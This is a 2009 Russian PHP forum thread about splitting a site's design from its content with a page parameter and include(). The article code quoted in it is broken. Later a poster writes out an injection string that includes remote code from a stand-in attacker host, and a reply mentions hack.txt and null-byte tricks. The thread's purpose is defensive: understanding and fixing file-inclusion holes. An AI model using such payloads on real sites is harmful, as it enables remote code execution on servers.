Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. Самоучитель MySQL 5. Авторы: Кузнецов М.В., Симдянов И.В. PHP. Практика создания Web-сайтов (второе издание). Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Сайт по кирпичикам схема темплейта
 
 автор: belvision   (11.02.2009 в 21:59)   письмо автору
 
 

В Интернете есть пример сборки сайта по схеме при которой дизайн сайта отделяется от его наполнения вопрос как сжелать ссылки в формате CGI-запроса, например, index.php?page=news то есть чтобы они работали. Я сделал всё как в этом примере ссылки сделал вида index.php?page= но на сайте отображается только информация из файла news.txt подскажите как правильно писать ссылки в формате CGI-запроса чтобы работали остальные ссылки на сайте например чтобы сайт наполнился информацией из файла photo.txt. Я поставил ссылку вида index.php?page=photo но она не работает по прежнему остаётся информация из файла news.txt

вот отрывок из статьи которая размещена на многих сайтах

Может возникнуть естественный вопрос: а как же функция text определит, какой файл следует вставить? Ведь мы создаем многостраничный сайт. Для доступа ко всем страницам используется файл index.php, а для указания, какой информацией наполнить страницу, служит параметр page, передаваемый в формате CGI-запроса, например, index.php?page=news - для ссылки на страницу с новостями или index.php?page=photo - для странички с фотоальбомом и т. д. Если имя раздела не было задано, или указанной страницы не существует, выводится текст из файла index.txt.



Задача - полностью разделить дизайн, скрипты и содержание страниц.
До сих пор мы исходили из того, что структура страницы может быть описана как набор последовательно идущих информационных блоков, которые можно просто вставить в файл командой include. Надо ли говорить, что на практике все обстоит гораздо сложнее? Тем не менее, для большинства веб-сайтов можно выделить с одной стороны неизменные HTML-конструкции, которые повторяются на всех страницах и описывают их структуру и дизайн, а с другой, варьирующиеся тексты, которые, собственно, и составляют информационное наполнение.

То, что останется, если всю переменную информацию выкинуть, - это и есть темплейт страницы. Для создания темплейтного сайта надо просто научиться вставлять информационные блоки внутрь темплейта. На практике темплейты бывают довольно сложными, в них используются нетривиальные приемы верстки и дизайна, однако в конце концов остается просто добавить в темплейт текст. Мы не будем загромождать статью сложными примерами и рассмотрим предельно упрощенный темплейт:
<? require("func.php"); ?>
<HTML><HEAD>
<TITLE>Template Site</TITLE>
</HEAD><BODY>

<!-- здесь может быть любой HTML-код,
задающий верстку и дизайн сайта -->
<? menu(); ?>
<!-- HTML-код продолжается -->
<? text(); ?>
<!-- HTML-код продолжается -->
<? news(); ?>
<!-- HTML-код продолжается -->
</HTML></BODY>
Поместим код темплейта в файл index.php. Он полностью описывает структуру нашей страницы, если не считать того, что вместо основного текста в нем содержится вызов функции text, вместо меню - вызов функции menu, а вместо блока кратких новостей - вызов функции news. Код этих функций размещен в файле func.php, который подключается директивой require в начале темплейта.

Каждая функция, обращаясь к переменной $page, может определить, какую именно информацию нужно вывести в формируемом ею информационном блоке. Например, функция menu может исключать из меню ссылку на отображаемую в данный момент страницу. (На практике, правда, совсем удалять пункт из меню не стоит - лучше просто убрать с него ссылку, однако в данном примере для простоты ссылка со страницы на саму себя просто исключается.)

Другой пример динамического блока - функция news. Обычно она просто помещает в отведенное ей место темплейта сводку кратких новостей сайта из файла shortnews.txt. Однако это не имеет смысла, если мы находимся на основной странице новостей. В этом случае вызывается функция banner, которая вместо новостей вставляет рекламный баннер.

Как видите, наш сайт уже обретает динамику. Дополнительные возможности дает добавление в начало файла func.php различных переменных - параметров, значения которых используются в коде, формирующем информационные блоки. Вы можете добавить и новые функции, которые в дальнейшем будут активно применяться при формировании страниц.

Какие достоинства есть у этого решения? Во-первых, простота и чистота кода. Все скрипты собраны в одном файле, описание верстки и дизайна страницы - в другом, который можно редактировать любым HTML-редактором, а содержательная информация - в остальных файлах. Еще один плюс раздельного хранения информационных блоков - в том, что легко можно соорудить несложный веб-интерфейс для обновления данных прямо в тех файлах, где они хранятся. Наконец, ничто не мешает нам при необходимости написать сколь угодно хитрые функции для заполнения информационных блоков.

Единственный минус заключается в том, что когда будет написано множество функций, вы начнете в них путаться. Если это случилось, значит, сайт уже нельзя назвать небольшим и несложным. Пора подумать о полноценном многофункциональном движке.

Листинг. Файл func.php
<?php
$text_path = "text/"; // Каталог с текстами

// Вставка блока основного текста соответственно параметру $page
function text()
{
if($page == "news"){ include($text_path."news.txt"); }
elseif($page == "photo"){ include($text_path."photo.txt"); }
// ...
else{ include($text_path."index.txt"); }
}

// Вывод навигационного меню без ссылки на страницу $page
function menu()
{
if($page != ""){ echo ("<a href='index.php'>Главная</a><br>"); }
elseif($page != "news"){ echo ("<a href='index.php?page=news'>Новости</a>"); }
elseif($page != "photo"){ echo ("<a href='index.php?page=photo'>Галерея</a>"); }
// ...
}

// Вывод блока кратких новостей (если мы не на основной новостной странице)
function news()
{
if($page != "news"){ include ($text_path."shortnews.txt"); }
else{ banner(); }
}
?>
Прочитано с сайтов
http://www.getinfo.ru/article291.html
http://www.compdoc.ru/internet/php/site_assembly_bricks/
http://www.realcoding.net/article/view/4289
http://www.4webmaster.ru/articles/php/8.html

  Ответить  
 
 автор: BinLaden   (11.02.2009 в 22:06)   письмо автору
 
   для: belvision   (11.02.2009 в 21:59)
 

> Я поставил ссылку вида index.php?page=photo но она не работает по прежнему остаётся информация из файла news.txt

У Вас в функции text() работа с какой-то неопределённой переменной $page. Код в помойку.

> вот отрывок из статьи

Отрыкок Вы привели что-то маленький.

  Ответить  
 
 автор: belvision   (11.02.2009 в 22:15)   письмо автору
 
   для: BinLaden   (11.02.2009 в 22:06)
 

Как не определена? Эта же переменная определяется в ссылке index.php?page=news здесь написано что переменная в этой ссылке ровна news

  Ответить  
 
 автор: AcidTrash   (11.02.2009 в 22:25)   письмо автору
 
   для: belvision   (11.02.2009 в 22:15)
 

Эта же переменная определяется в ссылке index.php?page=news здесь написано что переменная в этой ссылке ровна news
В функции text() то где она определяется?

  Ответить  
 
 автор: belvision   (11.02.2009 в 22:32)   письмо автору
 
   для: AcidTrash   (11.02.2009 в 22:25)
 

Подскажите как доработать код то есть как определить переменную чтобы всё заработало

  Ответить  
 
 автор: Trianon   (11.02.2009 в 22:40)   письмо автору
 
   для: belvision   (11.02.2009 в 22:32)
 

а зачем?
Зачем пытаться дорабатывать именно этот дерь... сырь... код?

  Ответить  
 
 автор: belvision   (11.02.2009 в 23:22)   письмо автору
 
   для: Trianon   (11.02.2009 в 22:40)
 

Вот ребята подсказали гениальное решение этой проблемы http://phpfaq.ru/easy/?code

Этот сайт построен на основе навороченной CMS
все страницы хранятся в каталоге txt и имеют расширение .html чтобы показать страницу, надо обратиться к сайту, в качестве query string указав имя файла без расширения
например: /index.php?about или просто /?about

<b><center><a href="index.php">главная</a>
<a href=?about>обо мне</a>
<a href=?links>ссылки</a>
<a href=?code>Код этого скрипта</a>
</center></b>
<br><br>
<?
if (empty($_SERVER['QUERY_STRING'])) {
$name="index";
} else {
$name=basename($_SERVER['QUERY_STRING']);
}
$file="txt/".$name.".htm";
if (is_readable($file)) {
readfile($file);
} else {
echo "<br>Запрошенный вами файл не найден<br>";
}
?>

  Ответить  
 
 автор: Trianon   (11.02.2009 в 23:57)   письмо автору
 
   для: belvision   (11.02.2009 в 23:22)
 

Вам эксплойтов тут же насуют чрез это решение.

[поправлено модератором]

  Ответить  
 
 автор: belvision   (13.02.2009 в 17:11)   письмо автору
 
   для: Trianon   (11.02.2009 в 23:57)
 

Так подскажите пожалуйста как это доработать чтобы было безопасно и интерестно каких эксплойтов и чем это реально грозит.

  Ответить  
 
 автор: cheops   (13.02.2009 в 19:53)   письмо автору
 
   для: belvision   (13.02.2009 в 17:11)
 

Вообще basename() не должен позволять выполнять эксплоиты на вашем сайте, но использование переменных, формируемых с использованием внешних данных, считается плохим тоном. Здесь проверка стоит, в следующий раз её можно забыть поставить - появится дыра, а злоумышленники такие дыры зачастую ищут автоматическими средствами.

  Ответить  
 
 автор: belvision   (05.04.2009 в 17:47)   письмо автору
 
   для: cheops   (13.02.2009 в 19:53)
 

А если я вместо имени файла подставлю в запросе такую строку?Код
;include("http://my_hacking_site.ru/hack.php");$file=


В результате на сайте отработает код:PHP
$file="txt/";
include("http://my_hacking_site.ru/hack.php");
$file=".htm";

можно ли назвать этот пример действительно дырой?

  Ответить  
 
 автор: cheops   (05.04.2009 в 18:21)   письмо автору
 
   для: belvision   (05.04.2009 в 17:47)
 

Да, только, вместо hack.php следует использовать hack.txt, ну или выводить в hack.txt PHP-код в консоль и обычно манипулируют нулевым байтом - признаком конца строки. А так да, это уязвимость, для формирования пути в include() лучше вообще не использовать данные поступаемые из вне, чтобы случайно не оставить дыру, позволяющие выполнять произвольный PHP-код.

  Ответить  
 
 автор: belvision   (05.04.2009 в 21:42)   письмо автору
 
   для: cheops   (05.04.2009 в 18:21)
 

Спасибо за анализ, если не трудно напишите хотябы защитить этот код или может другой вариант разделения дизайна и наполнения с такими же функциями

  Ответить  
 
 автор: Петр   (22.07.2009 в 10:01)   письмо автору
 
   для: belvision   (05.04.2009 в 21:42)
 

Все достаточно просто:

БД
---
id | url | name | file
1 | news | новости | news.php
2 | catalog | каталог | catalog123.php

В качестве GET-параметра передаешь не имя файла, а его идентификатор (url), потом это название ищится в базе данных среди всех доступных файлов, если оно есть, то подключается соответсвующий файл.

  Ответить  
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования